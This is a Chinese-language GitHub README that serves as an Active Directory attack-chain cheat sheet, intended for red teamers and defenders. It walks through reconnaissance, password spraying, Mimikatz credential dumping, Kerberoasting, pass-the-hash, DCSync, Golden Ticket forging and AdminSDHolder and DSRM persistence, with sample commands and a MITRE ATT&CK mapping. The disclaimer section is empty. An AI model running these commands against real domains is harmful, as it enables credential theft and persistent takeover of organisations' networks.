vetementsvmnts/-Active-Directory-Kill-Chain-
GitHub: vetementsvmnts/-Active-Directory-Kill-Chain-
本项目是一个Active Directory攻击链的完整指南,帮助安全人员理解和模拟域环境中的渗透测试过程。
Stars: 0 | Forks: 0
# Active Directory 攻击链
## 📋 目录
- [概述](#overview)
- [攻击链阶段](#kill-chain-phases)
- [阶段 1 — 侦察](#phase-1--reconnaissance)
- [阶段 2 — 初始访问](#phase-2--initial-access)
- [阶段 3 — 本地权限提升](#phase-3--local-privilege-escalation)
- [阶段 4 — 凭证收割](#phase-4--credential-harvesting)
- [阶段 5 — 横向移动](#phase-5--lateral-movement)
- [阶段 6 — 域权限提升](#phase-6--domain-privilege-escalation)
- [阶段 7 — 域持久化](#phase-7--domain-persistence)
- [工具参考](#tools-reference)
- [MITRE ATT&CK 映射](#mitre-attck-mapping)
- [免责声明](#disclaimer)
## 概述
**Active Directory 攻击链**描述了攻击者入侵 Windows 域环境所遵循的连续阶段。每个阶段都建立在前一阶段的基础上——从最初的立足点到完全掌控整个域。
```
[Recon] → [Initial Access] → [Local PrivEsc] → [Credential Harvesting]
→ [Lateral Movement] → [Domain PrivEsc] → [Persistence]
```
本文档旨在为**红队成员、渗透测试人员和防御者**提供帮助,旨在理解完整的攻击路径,以便进行检测和阻断。
## 攻击链阶段
### 阶段 1 — 侦察
**目标:** 在不触发警报的情况下描绘环境轮廓。
#### 外部侦察
| 技术 | 工具 | 描述 |
|------|------|------|
| OSINT 收集 | `theHarvester`, `recon-ng` | 收集电子邮件、子域名、员工姓名 |
| DNS 枚举 | `dnsx`, `subfinder` | 识别域结构 |
| LinkedIn 信息收集 | 手动 | 识别 IT/AD 管理员用户名 |
#### 内部侦察(获得立足点后)
| 技术 | 工具 | 描述 |
|------|------|------|
| AD 枚举 | `BloodHound`, `SharpHound` | 映射 AD 对象、ACL、攻击路径 |
| 网络扫描 | `nmap`, `netdiscover` | 识别存活主机和服务 |
| 用户/组枚举 | `net user /domain`, `ldapsearch` | 列出域用户、组、OU |
| 共享枚举 | `crackmapexec smb --shares` | 查找可访问的 SMB 共享 |
```
# BloodHound 收集
SharpHound.exe -c All --outputdirectory C:\Temp
# CrackMapExec 域枚举
crackmapexec smb -u '' -p '' --users
```
### 阶段 2 — 初始访问
**目标:** 在域内计算机上获得立足点。
| 入口 | 技术 | 备注 |
|------|------|------|
| 网络钓鱼 | 恶意宏 / LNK | 最常见的入口点 |
| 密码喷洒 | `kerbrute`, `crackmapexec` | 避免锁定 — 每用户仅尝试一次 |
| AS-REP Roasting | `GetNPUsers.py` | 针对未启用 Kerberos 预认证的账户 |
| 有效凭证 | 凭证填充 | 来自已泄露的数据库 |
| 暴露的服务 | RDP, WinRM 暴力破解 | 弱密码或默认凭证 |
```
# 使用kerbrute进行密码喷洒
kerbrute passwordspray -d domain.local --dc users.txt 'Password123!'
# AS-REP Roasting
python3 GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip
```
### 阶段 3 — 本地权限提升
**目标:** 从普通用户提升到本地管理员。
| 技术 | 工具 | 描述 |
|------|------|------|
| 未加引号的服务路径 | `winPEAS` | 劫持服务二进制文件路径 |
| 服务权限薄弱 | `accesschk.exe` | 修改服务二进制文件 |
| AlwaysInstallElevated | `winPEAS` | 滥用配置错误的 MSI 策略 |
| 令牌模拟 | `PrintSpoofer`, `Juicy Potato` | 滥用 `SeImpersonatePrivilege` |
| 内核漏洞利用 | `wesng`, `windows-exploit-suggester` | 利用补丁差距 |
```
# winPEAS 自动枚举
winpeas.exe
# PrintSpoofer 令牌模拟
PrintSpoofer.exe -i -c cmd
```
### 阶段 4 — 凭证收割
**目标:** 提取凭证以支持横向移动和域提升。
| 技术 | 工具 | 凭证类型 |
|------|------|----------|
| LSASS 转储 | `Mimikatz`, `pypykatz` | 明文密码、NTLM 哈希 |
| SAM 数据库转储 | `secretsdump.py` | 本地账户哈希 |
| Kerberoasting | `GetUserSPNs.py`, `Rubeus` | 服务账户 TGS 票据 |
| NTDS.dit 提取 | `secretsdump.py`, `ntdsutil` | 所有域哈希 |
| DPAPI 密钥 | `Mimikatz dpapi` | 浏览器密码、证书 |
```
# Mimikatz — 从LSASS转储凭据
sekurlsa::logonpasswords
# Kerberoasting
python3 GetUserSPNs.py domain.local/user:pass -dc-ip -request
# 远程NTDS转储
secretsdump.py domain/Administrator@ -just-dc-ntlm
```
### 阶段 5 — 横向移动
**目标:** 在网络内移动以访问更高价值的目标。
| 技术 | 工具 | 协议 |
|------|------|------|
| Pass-the-Hash (PtH) | `crackmapexec`, `Mimikatz` | SMB / WMI |
| Pass-the-Ticket (PtT) | `Rubeus`, `Mimikatz` | Kerberos |
| WMI 执行 | `wmiexec.py` | WMI |
| WinRM / Evil-WinRM | `evil-winrm` | WinRM (5985) |
| 使用窃取凭证的 RDP | `xfreerdp` | RDP (3389) |
| Overpass-the-Hash | `Rubeus asktgt` | 从 NTLM 哈希生成 Kerberos TGT |
```
# 通过CrackMapExec进行Pass-the-Hash
crackmapexec smb -u Administrator -H -x whoami
# 使用hash的Evil-WinRM
evil-winrm -i -u Administrator -H
# Overpass-the-Hash
Rubeus.exe asktgt /user:admin /rc4: /ptt
```
### 阶段 6 — 域权限提升
**目标:** 提升至域管理员或同等权限。
| 攻击 | 描述 | 工具 |
|------|------|------|
| **DCSync** | 复制 AD 以拉取所有哈希 | `Mimikatz`, `secretsdump.py` |
| **Kerberoasting** | 破解 SPN 服务账户 TGS | `Rubeus`, `hashcat` |
| **Golden Ticket** | 使用 KRBTGT 哈希伪造 TGT | `Mimikatz` |
| **Silver Ticket** | 为特定服务伪造 TGS | `Mimikatz` |
| **ACL 滥用** | 利用 WriteDACL / GenericAll | `BloodHound`, `PowerView` |
| **GPO 滥用** | 修改 OU 上的组策略 | `SharpGPOAbuse` |
| **ADCS ESC1** | 滥用配置错误的证书模板 | `Certipy` |
```
# DCSync攻击
lsadump::dcsync /domain:domain.local /user:krbtgt
# Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid: /krbtgt: /ptt
# ADCS ESC1利用
certipy req -u user@domain.local -p pass -ca 'CA-Name' -template 'VulnerableTemplate' -upn administrator@domain.local
```
### 阶段 7 — 域持久化
**目标:** 维持长期访问权限,即使密码重置也能存活。
| 技术 | 描述 | 隐蔽性 |
|------|------|--------|
| **Golden Ticket** | KRBTGT 签名的 TGT 有效期 10 年 | ⚠️ 中等 |
| **Silver Ticket** | 离线伪造服务票据 | ✅ 高 |
| **Skeleton Key** | 补丁 LSASS — 任何密码都有效 | ❌ 低 |
| **AdminSDHolder ACL** | 为受保护组 ACL 添加后门 | ✅ 高 |
| **DSRM 账户** | 启用目录服务恢复模式登录 | ✅ 高 |
| **SID History 注入** | 向用户添加域管理员 SID | ✅ 高 |
| **Shadow Credentials** | 向目标账户添加证书凭证 | ✅ 高 |
```
# AdminSDHolder持久化(PowerView)
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity lowprivuser -Rights All
# DSRM持久化
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```
## 工具参考
| 工具 | 分类 | 来源 |
|------|------|------|
| `BloodHound` / `SharpHound` | AD 枚举 | https://github.com/BloodHoundAD/BloodHound |
| `Mimikatz` | 凭证收割 | https://github.com/gentilkiwi/mimikatz |
| `Impacket` (`secretsdump`, `wmiexec`) | 远程利用 | https://github.com/fortra/impacket |
| `CrackMapExec` | 横向移动 | https://github.com/Porchetta-Industries/CrackMapExec |
| `Rubeus` | Kerberos 攻击 | https://github.com/GhostPack/Rubeus |
| `Certipy` | ADCS 利用 | https://github.com/ly4k/Certipy |
| `kerbrute` | 密码喷洒 | https://github.com/ropnop/kerbrute |
| `evil-winrm` | 远程 Shell | https://github.com/Hackplayers/evil-winrm |
| `PowerView` | AD 枚举 | https://github.com/PowerShellMafia/PowerSploit |
| `winPEAS` | 本地提权 | https://github.com/carlospolop/PEASS-ng |
## MITRE ATT&CK 映射
| 阶段 | 战术 | 技术 ID |
|------|------|---------|
| 侦察 | 侦察 | T1595, T1589 |
| 初始访问 | 初始访问 | T1566, T1110.003 |
| 本地提权 | 权限提升 | T1134, T1055 |
| 凭证收割 | 凭证访问 | T1003.001, T1558.003 |
| 横向移动 | 横向移动 | T1550.002, T1021.006 |
| 域提权 | 权限提升 | T1484, T1649 |
| 持久化 | 持久化 | T1558.001, T1207 |
完整框架参考:[https://attack.mitre.org](https://attack.mitre.org)
## 免责声明
标签:Active Directory安全, Active Directory枚举, AI合规, AS-REP Roasting, Cloudflare, DCSync, Kerberos攻击, MITRE ATT&CK, PSExec, SAM转储, SIP, Terraform 安全, WinRM利用, WMI利用, 代码生成, 凭证转储, 协议分析, 反取证, 域权限提升, 安全评估, 持久化攻击, 攻击路径分析, 攻击链, 权限提升, 横向移动, 渗透测试工具, 红队技术, 编程规范, 网络安全, 血猎工具, 逆向工具, 隐私保护